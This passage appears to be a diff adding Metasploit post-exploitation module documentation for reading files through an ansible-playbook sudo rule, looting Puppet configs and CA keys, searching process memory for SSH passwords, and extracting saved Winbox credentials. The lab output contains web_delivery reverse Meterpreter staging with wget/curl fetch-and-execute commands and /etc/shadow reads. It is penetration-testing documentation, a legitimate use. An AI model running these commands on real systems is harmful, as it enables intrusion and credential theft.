useradd user
|
||||
chmod o+w /etc/sudoers
|
||||
echo -ne "\nuser ALL=(ALL) NOPASSWD: /usr/local/bin/ansible-playbook *\n" >> /etc/sudoers
|
||||
chmod o-w /etc/sudoers
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Get an initial shell on the box
|
||||
1. Do: `use post/linux/gather/ansible_playbook_error_message_file_reader`
|
||||
1. Do: `set session [#]`
|
||||
1. Do: `run`
|
||||
1. You should be able to read the top line of a file.
|
||||
|
||||
## Options
|
||||
|
||||
### ANSIBLEPLAYBOOK
|
||||
|
||||
Location of ansible-playbook executable if not in a standard location. This is added to a list of default locations
|
||||
which includes `/usr/local/bin/ansible-playbook`, `/usr/bin/ansible-playbook`. Defaults to ``
|
||||
|
||||
### FILE
|
||||
|
||||
File to be read. Defaults to `/etc/shadow`
|
||||
|
||||
### FULLOUTPUT
|
||||
|
||||
If the entire command output should be displayed, or only the error line. Defaults to `false`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Docker compose as mentioned above
|
||||
|
||||
Get initial access to the system
|
||||
|
||||
```
|
||||
resource (ansible_playbook.rb)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (ansible_playbook.rb)> set lhost 192.168.2.128
|
||||
lhost => 192.168.2.128
|
||||
resource (ansible_playbook.rb)> set srvport 8181
|
||||
srvport => 8181
|
||||
resource (ansible_playbook.rb)> set lport 8183
|
||||
lport => 8183
|
||||
resource (ansible_playbook.rb)> set target 7
|
||||
target => 7
|
||||
resource (ansible_playbook.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (ansible_playbook.rb)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.128:8183
|
||||
|
||||
[*] Using URL: http://192.168.2.128:8181/I5062GM5P5Avgu
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO lAM5H81x --no-check-certificate http://192.168.2.128:8181/I5062GM5P5Avgu; chmod +x lAM5H81x; ./lAM5H81x& disown
|
||||
|
||||
[*] Starting persistent handler(s)...
|
||||
[*] 172.28.0.3 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 172.28.0.3
|
||||
[*] Meterpreter session 1 opened (192.168.2.128:8183 -> 172.28.0.3:37216) at 2023-12-13 14:58:36 -0500
|
||||
[msf](Jobs:1 Agents:1) post(linux/gather/ansible_playbook_error_message_file_reader) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
(Meterpreter 1)(/playbook) > getuid
|
||||
Server username: user
|
||||
(Meterpreter 1)(/playbook) > cat /etc/shadow
|
||||
[-] core_channel_open: Operation failed: 1
|
||||
(Meterpreter 1)(/playbook) > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
```
|
||||
resource (ansible_playbook.rb)> use post/linux/gather/ansible_playbook_error_message_file_reader
|
||||
resource (ansible_playbook.rb)> set session 1
|
||||
session => 1
|
||||
resource (ansible_playbook.rb)> set verbose true
|
||||
verbose => true
|
||||
[msf](Jobs:1 Agents:1) post(linux/gather/ansible_playbook_error_message_file_reader) > run
|
||||
|
||||
[*] Checking sudo
|
||||
[*] Executing: sudo -n -l
|
||||
[*] Executing: sudo -n /usr/local/bin/ansible-playbook /etc/shadow
|
||||
[+] root:!::0:::::
|
||||
[*] Post module execution completed
|
||||
```
|
||||
@@ -0,0 +1,386 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will grab Puppet config files, credentials, host information, and file buckets
|
||||
|
||||
### Docker-compose Install
|
||||
|
||||
Use the puppet files located [here](https://github.com/voxpupuli/crafty/tree/main/puppet/oss) by following this script:
|
||||
|
||||
```
|
||||
mkdir /tmp/puppet
|
||||
wget https://raw.githubusercontent.com/voxpupuli/crafty/main/puppet/oss/.env -O /tmp/puppet/.env
|
||||
wget https://raw.githubusercontent.com/voxpupuli/crafty/main/puppet/oss/compose.yaml -O /tmp/puppet/compose.yaml
|
||||
docker-compose -f /tmp/puppet/compose.yaml up
|
||||
```
|
||||
|
||||
Now build out some content so theres interesting things to pull:
|
||||
|
||||
```
|
||||
docker exec -it puppet_puppet_1 /bin/bash
|
||||
echo test >> /tmp/TestFile
|
||||
puppet filebucket -l backup /tmp/TestFile
|
||||
|
||||
puppet module install puppetlabs-apache
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Get an initial shell on the box
|
||||
1. Do: `use post/linux/gather/puppet`
|
||||
1. Do: `set session [#]`
|
||||
1. Do: `run`
|
||||
1. You should get information about the puppet install and host.
|
||||
|
||||
## Options
|
||||
|
||||
### FILEBUCKET
|
||||
|
||||
If file bucket items should be pulled. Defaults to `true`
|
||||
|
||||
### PUPPET
|
||||
|
||||
Location of puppet executable if not in a standard location. This is added to a list of default locations
|
||||
which includes `/opt/puppetlabs/puppet/bin/puppet`.
|
||||
|
||||
### FACTER
|
||||
|
||||
Location of facter executable if not in a standard location. This is added to a list of default locations
|
||||
which includes `/opt/puppetlabs/puppet/bin/facter`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Docker compose as mentioned above
|
||||
|
||||
Get initial access to the system
|
||||
|
||||
```
|
||||
resource (puppet.rb)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (puppet.rb)> set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (puppet.rb)> set srvport 8181
|
||||
srvport => 8181
|
||||
resource (puppet.rb)> set target 7
|
||||
target => 7
|
||||
resource (puppet.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (puppet.rb)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Using URL: http://1.1.1.1:8181/Gc7zrm8CdKGSe2
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO CmKyTd1N --no-check-certificate http://1.1.1.1:8181/Gc7zrm8CdKGSe2; chmod +x CmKyTd1N; ./CmKyTd1N& disown
|
||||
[*] Sending stage (3045380 bytes) to 172.20.0.3
|
||||
[msf](Jobs:1 Agents:0) post(linux/gather/puppet) > [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.20.0.3:59338) at 2023-12-10 10:38:11 -0500
|
||||
```
|
||||
|
||||
We now have a `wget` command, however the system doesn't have `wget`. Alter it to a `curl`
|
||||
command similar to `curl http://1.1.1.1:8181/Gc7zrm8CdKGSe2 > uBgZi2eZ; chmod +x uBgZi2eZ; ./uBgZi2eZ& disown`
|
||||
|
||||
You'll now need to get on the docker image: `docker exec -it puppet_puppet_1 /bin/bash` and run the `curl`` command.
|
||||
|
||||
```
|
||||
resource (puppet.rb)> use post/linux/gather/puppet
|
||||
resource (puppet.rb)> set session 1
|
||||
resource (puppet.rb)> set verbose true
|
||||
verbose => true
|
||||
[msf](Jobs:1 Agents:1) post(linux/gather/puppet) > run
|
||||
|
||||
[+] Stored puppet config to: /root/.msf4/loot/20231210104539_default_172.20.0.3_puppet.conf_250032.txt
|
||||
[+] Puppet Configuration
|
||||
====================
|
||||
|
||||
Parameter Value Loot Location
|
||||
--------- ----- -------------
|
||||
cacert /etc/puppetlabs/puppetserver/ca/ca_crt.pem /root/.msf4/loot/20231210104540_default_172.20.0.3_etcpuppetlabs_837639.txt
|
||||
cakey /etc/puppetlabs/puppetserver/ca/ca_key.pem /root/.msf4/loot/20231210104540_default_172.20.0.3_etcpuppetlabs_098956.txt
|
||||
passfile /etc/puppetlabs/puppet/ssl/private/password
|
||||
server puppet
|
||||
user puppet
|
||||
|
||||
[+] Puppet Modules
|
||||
==============
|
||||
|
||||
Module Version
|
||||
------ -------
|
||||
puppetlabs-apache v11.1.0
|
||||
puppetlabs-concat v9.0.1
|
||||
puppetlabs-stdlib v9.4.1
|
||||
|
||||
[*] Retrieving filebucket contents: /tmp/TestFile
|
||||
[+] Puppet Filebucket Files
|
||||
=======================
|
||||
|
||||
Hash Date Filename Loot location
|
||||
---- ---- -------- -------------
|
||||
9252a75c942da16f7b52cab752797dea4fca18474db9d7eff102842a459b25b3 2023-12-09 12:17:58 /tmp/TestFile /root/.msf4/loot/20231210104544_default_172.20.0.3_puppet.filebucke_189638.txt
|
||||
|
||||
[+] Stored facter to: /root/.msf4/loot/20231210104545_default_172.20.0.3_puppet.facter_436612.txt
|
||||
[+] Stored packages to: /root/.msf4/loot/20231210104547_default_172.20.0.3_puppet.packages_320990.txt
|
||||
[+] Puppet Packages
|
||||
===============
|
||||
|
||||
Package Version Source
|
||||
------- ------- ------
|
||||
adduser 3.118ubuntu5 apt
|
||||
apt 2.4.10 apt
|
||||
base-files 12ubuntu4.4 apt
|
||||
base-passwd 3.5.52build1 apt
|
||||
base64 0.2.0 puppet_gem
|
||||
bash 5.1-6ubuntu1 apt
|
||||
benchmark 0.1.0 puppet_gem
|
||||
bigdecimal 2.0.0 puppet_gem
|
||||
bsdutils 1:2.37.2-4ubuntu3 apt
|
||||
bundler 2.1.4 puppet_gem
|
||||
ca-certificates 20230311ubuntu0.22.04.1 apt
|
||||
ca-certificates-java 20190909ubuntu1.2 apt
|
||||
cgi 0.1.0.2 puppet_gem
|
||||
colored2 3.1.2 puppet_gem
|
||||
concurrent-ruby 1.1.9 puppet_gem
|
||||
coreutils 8.32-4.1ubuntu1 apt
|
||||
cri 2.15.11 puppet_gem
|
||||
csv 3.1.2 puppet_gem
|
||||
dash 0.5.11+git20210903+057cd650a4ed-3build1 apt
|
||||
date 3.0.3 puppet_gem
|
||||
debconf 1.5.79ubuntu1 apt
|
||||
debianutils 5.5-1ubuntu2 apt
|
||||
deep_merge 1.2.2 puppet_gem
|
||||
delegate 0.1.0 puppet_gem
|
||||
did_you_mean 1.4.0 puppet_gem
|
||||
diffutils 1:3.8-0ubuntu2 apt
|
||||
dpkg 1.21.1ubuntu2.2 apt
|
||||
dumb-init 1.2.5 apt
|
||||
e2fsprogs 1.46.5-2ubuntu1.1 apt
|
||||
erubi 1.12.0 puppet_gem
|
||||
etc 1.1.0 puppet_gem
|
||||
facter 4.5.1 puppet_gem
|
||||
faraday 2.7.11 puppet_gem
|
||||
faraday-follow_redirects 0.3.0 puppet_gem
|
||||
faraday-net_http 3.0.2 puppet_gem
|
||||
fast_gettext 2.3.0 puppet_gem
|
||||
fcntl 1.0.0 puppet_gem
|
||||
ffi 1.15.5 puppet_gem
|
||||
fiddle 1.0.0 puppet_gem
|
||||
fileutils 1.4.1 puppet_gem
|
||||
findutils 4.8.0-1ubuntu3 apt
|
||||
fontconfig-config 2.13.1-4.2ubuntu5 apt
|
||||
fonts-dejavu-core 2.37-2build1 apt
|
||||
forwardable 1.3.1 puppet_gem
|
||||
gcc-12-base 12.3.0-1ubuntu1~22.04 apt
|
||||
getoptlong 0.1.0 puppet_gem
|
||||
gettext 3.4.9 puppet_gem
|
||||
gettext-setup 1.1.0 puppet_gem
|
||||
git 1:2.34.1-1ubuntu1.10 apt
|
||||
git-man 1:2.34.1-1ubuntu1.10 apt
|
||||
gpgv 2.2.27-3ubuntu2.1 apt
|
||||
grep 3.7-1build1 apt
|
||||
gzip 1.10-4ubuntu4.1 apt
|
||||
hiera 3.12.0 puppet_gem
|
||||
hiera-eyaml 3.4.0 puppet_gem
|
||||
highline 2.1.0 puppet_gem
|
||||
hocon 1.3.1 puppet_gem
|
||||
hostname 3.23ubuntu2 apt
|
||||
init-system-helpers 1.62 apt
|
||||
io-console 0.5.6 puppet_gem
|
||||
ipaddr 1.2.2 puppet_gem
|
||||
irb 1.2.6 puppet_gem
|
||||
java-common 0.72build2 apt
|
||||
json 2.3.0 puppet_gem
|
||||
jwt 2.7.1 puppet_gem
|
||||
libacl1 2.3.1-1 apt
|
||||
libapt-pkg6.0 2.4.10 apt
|
||||
libasound2 1.2.6.1-1ubuntu1 apt
|
||||
libasound2-data 1.2.6.1-1ubuntu1 apt
|
||||
libattr1 1:2.5.1-1build1 apt
|
||||
libaudit-common 1:3.0.7-1build1 apt
|
||||
libaudit1 1:3.0.7-1build1 apt
|
||||
libavahi-client3 0.8-5ubuntu5.1 apt
|
||||
libavahi-common-data 0.8-5ubuntu5.1 apt
|
||||
libavahi-common3 0.8-5ubuntu5.1 apt
|
||||
libblkid1 2.37.2-4ubuntu3 apt
|
||||
libbrotli1 1.0.9-2build6 apt
|
||||
libbsd0 0.11.5-1 apt
|
||||
libbz2-1.0 1.0.8-5build1 apt
|
||||
libc-bin 2.35-0ubuntu3.4 apt
|
||||
libc6 2.35-0ubuntu3.4 apt
|
||||
libcap-ng0 0.7.9-2.2build3 apt
|
||||
libcap2 1:2.44-1ubuntu0.22.04.1 apt
|
||||
libcom-err2 1.46.5-2ubuntu1.1 apt
|
||||
libcrypt1 1:4.4.27-1 apt
|
||||
libcups2 2.4.1op1-1ubuntu4.7 apt
|
||||
libcurl3-gnutls 7.81.0-1ubuntu1.14 apt
|
||||
libdb5.3 5.3.28+dfsg1-0.8ubuntu3 apt
|
||||
libdbus-1-3 1.12.20-2ubuntu4.1 apt
|
||||
libdebconfclient0 0.261ubuntu1 apt
|
||||
liberror-perl 0.17029-1 apt
|
||||
libexpat1 2.4.7-1ubuntu0.2 apt
|
||||
libext2fs2 1.46.5-2ubuntu1.1 apt
|
||||
libffi8 3.4.2-4 apt
|
||||
libfontconfig1 2.13.1-4.2ubuntu5 apt
|
||||
libfreetype6 2.11.1+dfsg-1ubuntu0.2 apt
|
||||
libgcc-s1 12.3.0-1ubuntu1~22.04 apt
|
||||
libgcrypt20 1.9.4-3ubuntu3 apt
|
||||
libgdbm-compat4 1.23-1 apt
|
||||
libgdbm6 1.23-1 apt
|
||||
libglib2.0-0 2.72.4-0ubuntu2.2 apt
|
||||
libgmp10 2:6.2.1+dfsg-3ubuntu1 apt
|
||||
libgnutls30 3.7.3-4ubuntu1.2 apt
|
||||
libgpg-error0 1.43-3 apt
|
||||
libgraphite2-3 1.3.14-1build2 apt
|
||||
libgssapi-krb5-2 1.19.2-2ubuntu0.2 apt
|
||||
libharfbuzz0b 2.7.4-1ubuntu3.1 apt
|
||||
libhogweed6 3.7.3-1build2 apt
|
||||
libidn2-0 2.3.2-2build1 apt
|
||||
libjpeg-turbo8 2.1.2-0ubuntu1 apt
|
||||
libjpeg8 8c-2ubuntu10 apt
|
||||
libk5crypto3 1.19.2-2ubuntu0.2 apt
|
||||
libkeyutils1 1.6.1-2ubuntu3 apt
|
||||
libkrb5-3 1.19.2-2ubuntu0.2 apt
|
||||
libkrb5support0 1.19.2-2ubuntu0.2 apt
|
||||
liblcms2-2 2.12~rc1-2build2 apt
|
||||
libldap-2.5-0 2.5.16+dfsg-0ubuntu0.22.04.1 apt
|
||||
liblz4-1 1.9.3-2build2 apt
|
||||
liblzma5 5.2.5-2ubuntu1 apt
|
||||
libmd0 1.0.4-1build1 apt
|
||||
libmount1 2.37.2-4ubuntu3 apt
|
||||
libncurses6 6.3-2ubuntu0.1 apt
|
||||
libncursesw6 6.3-2ubuntu0.1 apt
|
||||
libnettle8 3.7.3-1build2 apt
|
||||
libnghttp2-14 1.43.0-1build3 apt
|
||||
libnsl2 1.3.0-2build2 apt
|
||||
libnspr4 2:4.32-3build1 apt
|
||||
libnss3 2:3.68.2-0ubuntu1.2 apt
|
||||
libp11-kit0 0.24.0-6build1 apt
|
||||
libpam-modules 1.4.0-11ubuntu2.3 apt
|
||||
libpam-modules-bin 1.4.0-11ubuntu2.3 apt
|
||||
libpam-runtime 1.4.0-11ubuntu2.3 apt
|
||||
libpam0g 1.4.0-11ubuntu2.3 apt
|
||||
libpcre2-8-0 10.39-3ubuntu0.1 apt
|
||||
libpcre3 2:8.39-13ubuntu0.22.04.1 apt
|
||||
libpcsclite1 1.9.5-3ubuntu1 apt
|
||||
libperl5.34 5.34.0-3ubuntu1.2 apt
|
||||
libpng16-16 1.6.37-3build5 apt
|
||||
libprocps8 2:3.3.17-6ubuntu2 apt
|
||||
libpsl5 0.21.0-1.2build2 apt
|
||||
librtmp1 2.4+20151223.gitfa8646d.1-2build4 apt
|
||||
libsasl2-2 2.1.27+dfsg2-3ubuntu1.2 apt
|
||||
libsasl2-modules-db 2.1.27+dfsg2-3ubuntu1.2 apt
|
||||
libseccomp2 2.5.3-2ubuntu2 apt
|
||||
libselinux1 3.3-1build2 apt
|
||||
libsemanage-common 3.3-1build2 apt
|
||||
libsemanage2 3.3-1build2 apt
|
||||
libsepol2 3.3-1build1 apt
|
||||
libsmartcols1 2.37.2-4ubuntu3 apt
|
||||
libsqlite3-0 3.37.2-2ubuntu0.1 apt
|
||||
libss2 1.46.5-2ubuntu1.1 apt
|
||||
libssh-4 0.9.6-2ubuntu0.22.04.1 apt
|
||||
libssl3 3.0.2-0ubuntu1.10 apt
|
||||
libstdc++6 12.3.0-1ubuntu1~22.04 apt
|
||||
libsystemd0 249.11-0ubuntu3.10 apt
|
||||
libtasn1-6 4.18.0-4build1 apt
|
||||
libtinfo6 6.3-2ubuntu0.1 apt
|
||||
libtirpc-common 1.3.2-2ubuntu0.1 apt
|
||||
libtirpc3 1.3.2-2ubuntu0.1 apt
|
||||
libudev1 249.11-0ubuntu3.10 apt
|
||||
libunistring2 1.0-1 apt
|
||||
libuuid1 2.37.2-4ubuntu3 apt
|
||||
libx11-6 2:1.7.5-1ubuntu0.3 apt
|
||||
libx11-data 2:1.7.5-1ubuntu0.3 apt
|
||||
libxau6 1:1.0.9-1build5 apt
|
||||
libxcb1 1.14-3ubuntu3 apt
|
||||
libxdmcp6 1:1.1.3-0ubuntu5 apt
|
||||
libxext6 2:1.3.4-1build1 apt
|
||||
libxi6 2:1.8-1build1 apt
|
||||
libxrender1 1:0.9.10-1build4 apt
|
||||
libxtst6 2:1.2.3-1build4 apt
|
||||
libxxhash0 0.8.1-1 apt
|
||||
libzstd1 1.4.8+dfsg-3build1 apt
|
||||
locale 2.1.3 puppet_gem
|
||||
log4r 1.1.10 puppet_gem
|
||||
logger 1.4.2 puppet_gem
|
||||
login 1:4.8.1-2ubuntu2.1 apt
|
||||
logsave 1.46.5-2ubuntu1.1 apt
|
||||
lsb-base 11.1.0ubuntu4 apt
|
||||
matrix 0.2.0 puppet_gem
|
||||
mawk 1.3.4.20200120-3 apt
|
||||
minitar 0.9 puppet_gem
|
||||
minitest 5.13.0 puppet_gem
|
||||
mount 2.37.2-4ubuntu3 apt
|
||||
multi_json 1.15.0 puppet_gem
|
||||
mutex_m 0.1.0 puppet_gem
|
||||
ncurses-base 6.3-2ubuntu0.1 apt
|
||||
ncurses-bin 6.3-2ubuntu0.1 apt
|
||||
net-pop 0.1.0 puppet_gem
|
||||
net-smtp 0.1.0 puppet_gem
|
||||
net-ssh 4.2.0 puppet_gem
|
||||
net-telnet 0.2.0 puppet_gem
|
||||
net-tools 1.60+git20181103.0eebece-1ubuntu5 apt
|
||||
netbase 6.3 apt
|
||||
observer 0.1.0 puppet_gem
|
||||
open3 0.1.0 puppet_gem
|
||||
openjdk-17-jre-headless 17.0.8.1+1~us1-0ubuntu1~22.04 apt
|
||||
openjdk-8-jre-headless 8u382-ga-1~22.04.1 apt
|
||||
openssl 3.0.2-0ubuntu1.12 apt
|
||||
optimist 3.0.1 puppet_gem
|
||||
ostruct 0.2.0 puppet_gem
|
||||
passwd 1:4.8.1-2ubuntu2.1 apt
|
||||
perl 5.34.0-3ubuntu1.2 apt
|
||||
perl-base 5.34.0-3ubuntu1.2 apt
|
||||
perl-modules-5.34 5.34.0-3ubuntu1.2 apt
|
||||
power_assert 1.1.7 puppet_gem
|
||||
prime 0.1.1 puppet_gem
|
||||
procps 2:3.3.17-6ubuntu2 apt
|
||||
pstore 0.1.0 puppet_gem
|
||||
psych 3.1.0 puppet_gem
|
||||
puppet 7.27.0 puppet_gem
|
||||
puppet-agent 7.27.0-1jammy apt
|
||||
puppet-resource_api 1.9.0 puppet_gem
|
||||
puppet7-release 7.0.0-14jammy apt
|
||||
puppet_forge 5.0.3 puppet_gem
|
||||
puppetdb-termini 7.15.0-1jammy apt
|
||||
puppetserver 7.14.0-1jammy apt
|
||||
puppetserver-ca 2.6.0 puppet_gem
|
||||
r10k 4.0.0 puppet_gem
|
||||
racc 1.4.16 puppet_gem
|
||||
rake 13.0.1 puppet_gem
|
||||
rdoc 6.2.1.1 puppet_gem
|
||||
readline 0.0.2 puppet_gem
|
||||
readline-ext 0.1.0 puppet_gem
|
||||
reline 0.1.5 puppet_gem
|
||||
rexml 3.2.3.1 puppet_gem
|
||||
rss 0.2.8 puppet_gem
|
||||
ruby2_keywords 0.0.5 puppet_gem
|
||||
scanf 1.0.0 puppet_gem
|
||||
sdbm 1.0.0 puppet_gem
|
||||
sed 4.8-1ubuntu2 apt
|
||||
semantic_puppet 1.0.4 puppet_gem
|
||||
sensible-utils 0.0.17 apt
|
||||
singleton 0.1.0 puppet_gem
|
||||
stringio 0.1.0 puppet_gem
|
||||
strscan 1.0.3 puppet_gem
|
||||
sys-filesystem 1.4.4 puppet_gem
|
||||
sysvinit-utils 3.01-1ubuntu1 apt
|
||||
tar 1.34+dfsg-1ubuntu0.1.22.04.1 apt
|
||||
test-unit 3.3.4 puppet_gem
|
||||
text 1.3.1 puppet_gem
|
||||
thor 1.2.2 puppet_gem
|
||||
timeout 0.1.0 puppet_gem
|
||||
tracer 0.1.0 puppet_gem
|
||||
ubuntu-keyring 2021.03.26 apt
|
||||
ucf 3.0043 apt
|
||||
uri 0.10.0.2 puppet_gem
|
||||
usrmerge 25ubuntu2 apt
|
||||
util-linux 2.37.2-4ubuntu3 apt
|
||||
webrick 1.6.1 puppet_gem
|
||||
x11-common 1:7.7+23ubuntu2 apt
|
||||
xmlrpc 0.3.0 puppet_gem
|
||||
yaml 0.1.0 puppet_gem
|
||||
zlib 1.1.0 puppet_gem
|
||||
zlib1g 1:1.2.11.dfsg-2ubuntu9.2 apt
|
||||
|
||||
[*] Post module execution completed
|
||||
```
|
||||
@@ -0,0 +1,129 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module allows for searching the memory space of running processes using Meterpreter's
|
||||
`stdapi_sys_process_memory_search` command for potentially sensitive data such as passwords.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
1. Get a Meterpreter session
|
||||
1. Do: `use post/multi/gather/memory_search`
|
||||
1. Do: `set SESSION <Session ID>`
|
||||
1. Do: `set PROCESS_NAMES_GLOB <process_names_regex>`
|
||||
1. Do: `set PROCESS_IDS <Process ID>`
|
||||
1. Do: `set REGEX <regex>`
|
||||
1. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### PROCESS_NAMES_GLOB
|
||||
|
||||
Regular expression used to target processes. (default: `ssh.*`)
|
||||
|
||||
### PROCESS_IDS
|
||||
|
||||
Comma delimited process ID/IDs to search through. (default: `nil`)
|
||||
|
||||
### REGEX
|
||||
|
||||
Regular expression to search for within memory. (default: `publickey,password.*`)
|
||||
|
||||
### MIN_MATCH_LEN
|
||||
|
||||
The minimum number of bytes to match. (default: `5`)
|
||||
|
||||
### MAX_MATCH_LEN
|
||||
|
||||
The maximum number of bytes to match. (default: `127`)
|
||||
|
||||
### REPLACE_NON_PRINTABLE_BYTES
|
||||
|
||||
Replace non-printable bytes with ".". (default: `true`)
|
||||
|
||||
### SAVE_LOOT
|
||||
|
||||
Save the memory matches to loot. (default: `true`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 10 - OpenSSH_9.4p1, OpenSSL 3.1.2 1 Aug 2023
|
||||
|
||||
In this scenario, the Windows target is connected to a different host using `ssh.exe` using the password `myverysecretpassword`:
|
||||
```
|
||||
msf6 post(multi/gather/memory_search) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
3 meterpreter x64/windows DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB 192.168.112.1:4444 -> 192.168.112.129:55513 (192.168.112.129)
|
||||
|
||||
msf6 post(multi/gather/memory_search) > run session=-1 regex="publickey,password.*" process_ids='' process_names_glob="ssh.*"
|
||||
|
||||
[*] Running module against - DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). This might take a few seconds...
|
||||
[*] Getting target processes...
|
||||
[*] Running against the following processes:
|
||||
ssh.exe (pid: 4292)
|
||||
|
||||
[*] Memory Matches for ssh.exe (pid: 4292)
|
||||
======================================
|
||||
|
||||
Match Address Match Length Match Buffer Memory Region Start Memory Region Size
|
||||
------------- ------------ ------------ ------------------- ------------------
|
||||
0x0000000A00060DF0 127 "publickey,password......3.......myverysecretpassword....................#.........#.......... 0x0000000A00000000 0x0000000000090000
|
||||
...........S......................"
|
||||
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
### Windows 10 - Python3 HTTP Server
|
||||
|
||||
In this scenario, the Windows target is running the `http.server` module in Python:
|
||||
```
|
||||
msf6 post(multi/gather/memory_search) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
3 meterpreter x64/windows DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB 192.168.112.1:4444 -> 192.168.112.129:55513 (192.168.112.129)
|
||||
|
||||
msf6 post(multi/gather/memory_search) > run session=-1 regex="GET /.*" process_ids='' process_names_glob="python.*|[Ww]indows[Tt]erminal.*"
|
||||
|
||||
[*] Running module against - DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). This might take a few seconds...
|
||||
[*] Getting target processes...
|
||||
[*] Running against the following processes:
|
||||
WindowsTerminal.exe (pid: 9168)
|
||||
python.exe (pid: 2816)
|
||||
|
||||
[*] Memory Matches for WindowsTerminal.exe (pid: 9168)
|
||||
==================================================
|
||||
|
||||
Match Address Match Length Match Buffer Memory Region Start Memory Region Size
|
||||
------------- ------------ ------------ ------------------- ------------------
|
||||
0x00000121C3458649 127 "GET /.portable HTTP/1.1\" 200 -...::ffff:192.168.112.1 - - [17/Jan/2024 14:36:38] \"GET /favi 0x00000121C3449000 0x000000000001B000
|
||||
con.ico HTTP/1.1\" 404 -..windows-ter"
|
||||
|
||||
[*] Memory Matches for python.exe (pid: 2816)
|
||||
=========================================
|
||||
|
||||
Match Address Match Length Match Buffer Memory Region Start Memory Region Size
|
||||
------------- ------------ ------------ ------------------- ------------------
|
||||
0x0000013A0E3017D1 127 "GET /.portable HTTP/1.1\" 200 -.....:.....Q.:...................0.Q.:...0.Q.:.....Q.:.....Q.: 0x0000013A0E270000 0x00000000000FF000
|
||||
...pAR.:...pAR.:...0.Q.:...0.Q.:..."
|
||||
0x0000013A1063DC21 127 "GET /.portable HTTP/1.1\" 200 -...t-black.ico...`@l.:.....h.:..............&.............l.&. 0x0000013A105E0000 0x0000000000100000
|
||||
....l.&.....l.&.....l.&......k.:..."
|
||||
0x0000013A1063E5B1 127 "GET /.portable HTTP/1.1\" 200 -...b.l.e...o.....P.c.:...s.e.r.s.\\.w.i.n.1.0.\\.s.c.o.o.p.\\. 0x0000013A105E0000 0x0000000000100000
|
||||
a.p.p.s.\\.w.i.n.d.o.w.s.-.t.e.r.m.i.n."
|
||||
0x0000013A1067EC41 127 "GET /Images/ HTTP/1.1\" 200 -...@.g.:...p..&....2.................012345........<li><a href=\ 0x0000013A105E0000 0x0000000000100000
|
||||
"defaults.json\">defaults.json</a></l"
|
||||
0x0000013A106CADD0 127 "GET /.portable HTTP/1.1...p&.............x..:...P...:...0.l.:....ta$.e$j..k.:... lk.:........ 0x0000013A105E0000 0x0000000000100000
|
||||
...0.l.:......................&..."
|
||||
0x0000013A106CF940 127 "GET /.portable HTTP/1.1...........l.:...................Pf.&.....^.&......e.:................ 0x0000013A105E0000 0x0000000000100000
|
||||
....Sn&....s.......P.l.:...p..&..."
|
||||
|
||||
[*] Post module execution completed
|
||||
```
|
||||
@@ -0,0 +1,37 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Any Windows host with a `meterpreter` session and Mikrotik Winbox installed.
|
||||
|
||||
Winbox can be downloaded [here](https://mikrotik.com/download)
|
||||
|
||||
### Installation Steps
|
||||
|
||||
1. Download and open Mikrotik Winbox
|
||||
2. Enter a RouterOS device address into `Connect to`, username into `Login`, password into `Password` and check the flag `Keep Password`
|
||||
3. Click Connect
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Get a `meterpreter` session on a Windows host.
|
||||
2. Do: `run post/windows/gather/credentials/winbox_settings`
|
||||
3. If any users in the system has a `Keep Password` enabled in Winbox, the credentials will be printed out.
|
||||
|
||||
## Options
|
||||
|
||||
### VERBOSE
|
||||
|
||||
- By default verbose is turned off. When turned on, the module will show the HexDump of `settings.cfg.viw` files.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf6 post(windows/gather/credentials/winbox_settings) > run
|
||||
|
||||
[*] VERBOSE: false
|
||||
[*] Checking Default Locations...
|
||||
[*] C:\Users\Administrator\AppData\Roaming\Mikrotik\Winbox\settings.cfg.viw not found ....
|
||||
[*] Found File at C:\Users\FooBar\AppData\Roaming\Mikrotik\Winbox\settings.cfg.viw
|
||||
[+] Login: ThisIsUsername
|
||||
[+] Password: ThisIsPassword
|
||||
[*] Post module execution completed
|
||||
```
